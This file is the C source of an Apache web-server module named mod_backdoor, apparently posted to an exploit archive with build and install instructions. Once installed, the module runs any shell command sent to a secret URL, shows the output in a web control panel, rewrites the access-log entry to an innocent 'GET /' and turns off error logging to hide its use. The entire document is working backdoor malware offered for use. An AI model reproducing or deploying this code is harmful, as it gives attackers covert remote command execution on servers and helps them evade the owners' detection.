Apache DSO backdoor - A get request to a "special" url allows remote command execution.
d49407f8380be928bcc8cb57171d11ca41fd2ec1f61a4678089d8ce1b6f3aaa9
/* mod_backdoor.c
*
* Apache DSO backdoor
* by tf8 / buffer0verfl0w
* (tf8@zolo.freelsd.net) - (b0f.freebsd.lublin.pl)
*
* Compile: apxs -i -c -i mod_test.c << this will automatically compile,
* link, and install DSO backdoor.
* all you need is to restart apache
*
* NOTE: USE AT YOU OWN RISK
*/
#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "http_log.h"
#include "util_script.h"
#include "http_main.h"
#include "http_request.h"
#include <errno.h>
#include <unistd.h>
#define SIGNATURE "DSO_backdoor/0.9b tf/8"
#define FAKE_URL "/"
#define FAKE_STR "GET "FAKE_URL" HTTP/1.0"
#define SEC_URL "/backdoor" // change this, doud
#define EXEC_MASQ "-sh"
module backdoor_module;
typedef struct backdoor_cmd {
request_rec *r;
char *cmd;
char *wrapper;
} backdoor_cmd;
/*
* not done
*/
static int bd_exec_cmd(request_rec *r, char *wrapper, char *command, char **env)
{
return execl(wrapper,EXEC_MASQ,command,NULL);
}
/* Allows user to select a way to execute commands:
* 1) Via /bin/sh -c
* 2) Via specified program (command is parsed as single argument)
*/
static int backdoor_child(void *cmd, child_info *i)
{
request_rec *r=((backdoor_cmd *)cmd)->r;
char *command=((backdoor_cmd *)cmd)->cmd;
table *env=r->subprocess_env;
char *wrapper=((backdoor_cmd *)cmd)->wrapper;
if(!command)
return 0; /* blam */
if(!wrapper) {
ap_call_exec(r,i,command,ap_create_environment(r->pool, env),1);
exit(0);
}
bd_exec_cmd(r, wrapper, command,
ap_create_environment(r->pool, env));
exit(0);
/* NOT REACHED */
return OK;
}
/* Sends a HTML-encoded text
*
*/
static int bd_send_html_encoded(BUFF *fb, request_rec *r)
{
char chr;
while(ap_bread(fb,(char *)&chr,1)==1) {
switch(chr) {
case '&':
ap_rputs("&",r);
break;
case '<':
ap_rputs("<",r);
break;
case '>':
ap_rputs(">",r);
break;
default:
ap_rputc(chr,r);
break;
}
}
return OK;
}
/*
* ap_unescape_url() is too huge and does lot things we dont need here
* or i missed something?!
*/
static int is_hex(char c)
{
if(strchr("0123456789abcdefABCDEF",c)!=NULL)
return 1;
return 0;
}
static int to_hex(char c)
{
if ( c >= '0' && c <= '9' )
return c - '0';
if ( c >= 'a' && c <= 'f' )
return c - 'a' + 10;
if ( c >= 'A' && c <= 'F' )
return c - 'A' + 10;
return 0;
}
static void bd_url_decode(char* from, char *to)
{
for (;*from!='\0';++to,++from) {
if (from[0]=='%' && is_hex(from[1]) && is_hex(from[2]) ){
*to= to_hex(from[1])*16+to_hex(from[2]);
from+= 2;
} else
*to = *from;
}
*to = '\0';
}
/* parses QUERY_STRING
*/
char *bd_get_string(char *from, char *what, char *where, int max_len)
{
char *result, *temp;
unsigned int len;
result=strstr(from,what);
if(result) {
result+=strlen(what);
if( *result || ((*result)!='&') ){
temp=strchr(result,'&');
if(temp)
len=temp-result;
else
len=strlen(result);
}
} else
result=NULL;
if(result && (len < max_len-1 ) && *result ) {
strncpy(where,result,len);
strncpy(where+len,"\x0",1);
while(temp=strchr(where,'+'))
*temp=' ';
} else
return NULL;
return where;
}
/*
* main
*/
static int backdoor_post(request_rec *r)
{
int n, show_ainfo=0, html_encode=0;
BUFF *std_err, *std_out, *clnt;
char *args, *wrapper, *command;
backdoor_cmd cmd;
/*
* Make sure, that there is no $SEC_URL directory on DocumentRoot
* of ANY (virtual) server. There will be no access to scripts under
* $SEC_URL
*/
if(strncmp(r->unparsed_uri,SEC_URL,strlen(SEC_URL)))
return DECLINED; /* not for us */
if(r->args==NULL || !*(r->args)) {
r->args=ap_pcalloc(r->pool,strlen("Welcome, BOSS\n")+2);
r->args="Welcome, BOSS\n";
}
args=ap_pcalloc(r->pool,strlen(r->args));
bd_url_decode(r->args,args);
if(strstr(args,"bd_verbose=on"))
show_ainfo=1;
if(strstr(args,"bd_html-encode=on"))
html_encode=1;
command=ap_pcalloc(r->pool,1024);
command=bd_get_string(args,"bd_command=",command,1024);
if(command)
wrapper=ap_pcalloc(r->pool,128);
else
wrapper=command;
if(!command || !*command)
command=NULL;
wrapper=bd_get_string(args,"bd_wrapper=",wrapper,128);
if(!wrapper || !*wrapper)
wrapper=NULL;
/*
* Accept command just after "?" without those cgi stuff
*/
if(!command)
command=args;
cmd.cmd=command;
cmd.wrapper=wrapper;
cmd.r=r;
ap_hard_timeout("lingering close",r);
clnt=r->connection->client;
/* header begin */
ap_rvputs(r,SERVER_PROTOCOL," ", "200 OK", "\015\012", NULL);
ap_send_header_field(r, "Date", ap_gm_timestr_822(r->pool, r->request_time));
ap_send_header_field(r, "Server", ap_pstrcat(r->pool,ap_get_server_version(),"",SIGNATURE,NULL));
ap_send_header_field(r, "Content-type", "text/html");
ap_bwrite(clnt,"\015\012",2);
/* end of header */
ap_bflush(clnt);
if(!(n=ap_bspawn_child(r->pool,backdoor_child,(void *)&cmd,
kill_never,NULL,&std_out,&std_err))) {
return -1;
}
/* html body begin */
ap_rprintf(r,"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\n<HTML>\n<HEAD>\n<TITLE>%s at %s</TITLE>\n</HEAD>\n<!-- body BGCOLOR=\"black\" TEXT=\"green\">\n",SIGNATURE,r->server->server_hostname?r->server- -->server_hostname:"no server hostname");
ap_rprintf(r,"<center><h1>"SIGNATURE"</h1></center><b>Apache child info:</b>uid %d, pid %d, ppid %d<br>\n",getuid(),getpid(),getppid());
if(show_ainfo) {
ap_rprintf(r,"<ul><li> Virutal server: %s<br>\n<li> Timeout: %d<br>\n<li>ServerPath: %s<br>\n<li> ServerUID/GID: %d/%d<br>\n",r->server->is_virtual?"yes":"no",r->server->timeout,r->server->path?r->server->path:"empty",r->server->server_uid,r->server->server_gid);
ap_rprintf(r,"</ul>\n");
}
ap_rprintf(r,"<br><b>command:</b> %s<br><b>command pid:</b>%d<br>%s%s<br>\n",command,n,wrapper?"<b>command executed via:</b>":"",wrapper?wrapper:"");
ap_rputs("<p><b>STDOUT:</b><br><pre>\n",r);
if(!html_encode)
ap_send_fb(std_out,r);
else
bd_send_html_encoded(std_out,r);
ap_rputs("</pre><br>\n<b>STDERR:</b><br>\n<pre>\n",r);
if(!html_encode)
ap_send_fb(std_err,r);
else
bd_send_html_encoded(std_err,r);
ap_bclose(std_err);
ap_bclose(std_out);
ap_rprintf(r,"\n</pre>\n");
/*
* Now send a html-form to provide an easier access
*/
ap_rprintf(r,"<center><form action=\" https://%s:%d%s\" method=\"GET\" target="_new">\n<b>Menu</b><br>\n",inet_ntoa(r->connection->local_addr.sin_addr),r->server->port,SEC_URL);
ap_rputs("<input type=\"submit\" value=\"execute\">",r);
ap_rputs("<textarea name=\"bd_command\" rows=\"2\"cols=\"60\"></textarea><br>\n",r);
ap_rprintf(r,"<b>Wrapper</b>: <input type=\"text\" name=\"bd_wrapper\"value=\"%s\"><br>\n",wrapper?wrapper:"");
ap_rprintf(r,"<b>Verbosity</b>: <input type=\"checkbox\" name=\"bd_verbose\"%s><br>\n",show_ainfo?"checked":"");
ap_rprintf(r,"<b>HTML-encode</b>: <input type=\"checkbox\" name=\"bd_html-encode\" %s><br>\n",html_encode?"checked":"");
ap_rputs("</form><font size=-1><font color=\"blue\">made and designed by <a href=\"mailto:tf8@zolo.freelsd.net\">tf8</a><br>© All Rights Reserved</font></BODY></HTML>\n",r);
/* html body eof */
/*
* r->the_request is used as log string, which will appear in access_log, and
* because _port call comes before any server-preparation is done, we
* can specify any string we want to appear as..
*/
r->unparsed_uri=ap_pcalloc(r->pool,strlen(FAKE_URL)+1);
r->filename=ap_pcalloc(r->pool,strlen(FAKE_URL)+1);
r->the_request=ap_pcalloc(r->pool,strlen(FAKE_STR)+1);
strcpy(r->unparsed_uri,FAKE_URL);
strcpy(r->filename,FAKE_URL);
strcpy(r->the_request,FAKE_STR);
r->unparsed_uri[strlen(FAKE_URL)]='\0';
r->filename[strlen(FAKE_URL)]='\0';
r->the_request[strlen(FAKE_STR)]='\0';
/*
* Server would not log error message, if FILE *error_log == NULL
*/
r->server->error_log=NULL;
/*
* Close client, and exit
*/
ap_bclose(clnt);
ap_kill_timeout(r);
exit(0);
/* NOT REACHED */
return OK;
}
/*
* Module function pointers
*/
module MODULE_VAR_EXPORT backdoor_module =
{
STANDARD_MODULE_STUFF,
NULL, /* initializer */
NULL, /* dir config creater */
NULL, /* dir merger --- default is to override */
NULL, /* server config */
NULL, /* merge server configs */
NULL, /* command table */
NULL, /* handlers */
NULL, /* filename translation */
NULL, /* check_user_id */
NULL, /* check auth */
NULL, /* check access */
NULL, /* type_checker */
NULL, /* fixups */
NULL, /* logger */
NULL, /* header parser */
NULL, /* child_init */
NULL, /* child_exit */
backdoor_post /* post read-request */
};
/* END */